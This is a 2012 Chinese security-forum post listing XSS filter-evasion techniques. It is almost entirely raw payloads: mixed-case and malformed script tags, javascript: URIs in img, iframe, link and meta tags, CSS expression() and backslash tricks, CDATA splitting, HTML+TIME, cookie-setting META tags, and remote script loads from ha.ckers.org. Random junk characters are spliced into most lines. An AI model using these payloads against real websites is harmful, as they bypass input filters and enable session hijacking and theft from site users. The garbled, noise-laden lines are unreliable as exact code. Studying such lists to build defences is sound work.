找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2562|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写7 \2 F9 j4 o9 A8 f  s
2 ?$ P' F* ~$ ~, `. k! G& I
# _$ \% H, _1 R6 |+ X2 X
" N4 ^, U6 u1 T
    <sCript>alert(‘d’)</scRipT>- Z, i* I# O! K

: @; l. `9 r* s( y* i2. 利用多加一些其它字符来规避Regular Expression的检查
& z& V# E0 S1 b; z- X% b1 q& k1 t4 z# H! X
    <<script>alert(‘c’)//<</script>$ M8 p+ N7 u) d. s1 x& C
/ q' W$ g8 {3 r+ ?+ l
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
$ _& f2 {$ h# I; \# e, A1 u8 f; ~+ o7 f% t0 k7 w( n# L* k
    <SCRIPT =">" SRC="t.js"></SCRIPT>  l  I1 y8 [% f( `
5 R2 Z6 L( j! I; ^  l$ T0 _' ?
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 J; l# k( `6 w+ _" }1 c7 t% G8 c
4 [# j) H5 c* T% a    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
% ^$ J: W) [1 M& C
. x+ B- }3 F- V' K  q. w    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ l6 |$ J% l2 C: ~! y. \* G  Y" r1 t8 I; P8 O/ G. K( M) H
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
2 p* T5 c/ n/ L6 X! Z' h& _
+ z1 n( \; U: o% c3. 以其它扩展名取代.js
( @$ ]; \1 [7 k6 Z4 R9 K( g4 N$ \" `
    <script src="bad.jpg"></script>1 ]" F  p4 ]2 k0 I" a8 n
" L( E( q1 ~5 [! I3 G
4. 将Javascript写在CSS档里( i4 j9 z: @2 A: Q2 x- s$ G

, V, i* I- `5 t2 L/ x( i2 U    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">2 I# Z% e/ ]2 N# n
, [+ l5 Q: k# Q) H
       example:
: X+ F# d( \9 x/ v# o4 m9 A7 _: k5 y4 t1 K
          body {& }# x6 t: |; v1 B2 K& z/ K1 I$ m! K
. \# k' Y( R5 B# c
               background-image: url(‘javascript:alert("XSS");’). y& D  Q( J8 p' i
% q5 C4 t9 Z7 U0 D; Q- Q5 d  a& K
          }
4 y+ P) F' e3 I. Y" x+ o. i
. B# I5 J) U7 v. B& M6 L5. 在script的tag里加入一些其它字符) A6 W! T+ A) A$ G0 [6 q9 Q2 ~% B5 e
4 z4 Z( X9 ]& h# }+ D$ x
    <SCRIPT/SRC="t.js"></SCRIPT>
* N. `" A5 R9 K$ G1 o/ U! W1 e0 z' r9 F$ t2 Q
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
8 w- h* @5 V, ]4 Q' A9 n/ u9 b
  G4 l1 r& Q; h7 h6. 使用tab或是new line来规避" x- s2 M2 |1 |. V. M/ _
$ d: P0 u# y) s6 V: U
    <img src="jav ascr ipt:alert(‘XSS3′)">
1 U1 A9 p; S+ A+ `7 P4 F2 Y) Z) t& g0 V: s/ z9 l
    <img src="jav ascr ipt:alert(‘XSS3′)">
# y3 ^' O. m" \* X) U; c5 F+ i( A! b% u' T
    <IMG SRC="jav ascript:alert(‘XSS’);">3 X6 X7 |. n0 B6 g  B
6 z& ^' l: T" g* z6 q; a3 Q
         -> tag
5 d1 _: E7 n' [, R# [2 ^! U0 G5 ~
         -> new line% Q  c0 Q7 r3 i: K/ a8 G, N

+ \$ P" W# k7 l. Z9 B2 _8 h7. 使用"\"来规避
3 j6 _  I, d* h% g4 M
- M1 N' Q4 |9 g& h7 @) }, I0 W    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
6 @6 V: R+ I3 {* n2 w
( i/ l5 _: o" t    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
% W$ `& W: m" d) `$ }
: _. d% ^4 y6 \  B" J3 D& n    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
8 C# P- @! A0 n; K9 B% ]; `) J/ D0 }. T' T! T
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">! z7 |% y$ N3 w8 l
8 Y8 d8 C! {' G+ i. r( O
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>5 F# e- t) q1 w9 D! r* X* t
" n5 s: Z/ o: |( \' H
8. 使用Hex encode来规避(也可能会把";"拿掉)
7 `9 {" G5 H& p3 _4 ]; q% t9 r
7 u& L* J5 j6 ~4 i    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
# s! X! ~2 i3 X7 d, j4 ]. v; m, ?+ U- t" q' ~2 Y: L: D5 k
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">+ ~6 ?0 p5 l" e  Q
$ y: j, {0 N  P+ t
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* i/ J- A2 _' N
3 F& |9 J; w4 f" g9 y& V) d" U* B
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
9 p. C& H+ }4 O1 K8 e" V7 Q$ w. p, j  i! U( y+ X  _: L9 K
9. script in HTML tag* _& c0 X6 \# i% p& a% b8 o

6 e5 X7 z6 i0 J7 ~/ r    <body onload=」alert(‘onload’)」>
* B+ @: T$ N( d2 Z: V0 O6 B
% U  S$ _9 G, H8 t& [7 S; Y        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload7 z* e6 @" t, C6 Y! P

. @/ k- P* R# w# ^2 `; D9 U7 U10. 在swf里含有xss的code
& O, U1 s8 z4 b$ W- L0 i: J8 v0 {& m$ p7 m. Q& z
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED># ^" J( o4 k: ?! B' n7 x6 J5 ~

1 u0 u6 k- V' n5 Z) p11. 利用CDATA将xss的code拆开,再组合起来。: \) C; ^# Q+ G  K4 e/ K

6 Q7 |7 u0 {2 _1 W    <XML ID=I><X><C>1 `( B6 C( V3 B$ u! A$ t7 U/ @2 ~
. o+ e! {- r$ Q5 P- t- n0 n8 g
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
  @$ W, S8 Q- C; i# J3 k- U
' z4 @; \* F# Z2 T    </C></X>4 k' R+ y1 D1 Z- W. w5 k2 H; m! p% z
+ T, x% v; x' N( }  s
    </xml>
! x' K2 _7 O1 \1 A8 H* _% ^+ ~; J2 C2 b; C
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
! [! k5 z: q# D( B; _# h: I. P' C7 K. ?& I4 o* W8 B
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>4 k' b4 f/ g8 ^9 k$ X: Q
4 E& W- w! L( C& n+ V5 d
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>0 Y) g/ q3 k7 j4 z9 V: i, H
7 n) Q& ^$ K" J" c
12. 利用HTML+TIME。1 {; j/ G' \1 N: g, v

) f3 [8 e7 Q; l' ^8 O! ?3 f5 c    <HTML><BODY>
$ ^5 W5 Z1 |, {1 [: q! J. C% H  i) r* C5 T6 T+ D: @7 \$ n, s
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
. s4 y+ U: Z' A' `0 h: x
. E' I' e5 x5 J7 ]1 Z    <?import namespace="t" implementation="#default#time2">8 k8 T# a4 D% f; M' T7 G

7 h1 m0 l1 R* Z* ]' _+ [, ]    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">. Z6 U. R& [+ g) s' I- i

7 U7 t: K7 t/ k0 W    </BODY></HTML>
/ s7 W) w# x' S8 T! c: i
+ i( ?; o: B7 C5 ~% x/ \. O13. 透过META写入Cookie。1 C4 }8 h  K  G# f) l! z

1 y6 F, I1 `# E2 h2 t    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">) u0 D. n9 g5 D

6 S5 R2 T2 F3 b! ~14. javascript in src , href , url
4 |4 [0 X3 X: V, k* k# k# |" ~6 {/ x  N/ ]9 F
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>* y+ T" L- ]# P; ^) u
5 |7 n! Q3 M8 R8 {& r  y
    <img src="javascript:alert(‘XSS3′)">
3 B, ^2 E  Z" w/ J+ b% t" w; }; V" G! h6 t3 G
<IMG DYNSRC="javascript:alert(‘XSS20′)">/ R3 l8 q$ z# f
% x, Q0 n7 n3 b5 C! T, x
    <IMG LOWSRC="javascript:alert(‘XSS21′)">" X' m* \! h, d8 s/ Z* y1 s
/ N: F1 c/ T+ w$ D" Q; I6 W
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">" U2 M3 a3 L' E* U7 H% L1 k
9 h, T/ P, h$ }, t  l3 |1 ^( |
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
4 N* ^; s6 F: \' t  d% F, T% X
. q/ w& R$ X, D9 B$ j    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
) _9 E/ I% p" \6 h/ _6 r7 d
$ t3 `1 d( s3 n; I3 t3 I' M    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">& l2 r+ \+ ^+ Y: B* Q3 j
% \: X5 S) w; R* V7 f& Z* K
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}" E7 e4 |6 z& B* E$ T# j

  u, a5 |6 f( ]; _, F! o3 R    </STYLE><A CLASS=XSS></A>) `- r7 h- r0 `& I6 J) a

& X5 L$ a( T$ H. E    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
  i, u! K  G9 }, p$ j+ g
$ O3 c: k; n" k: y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表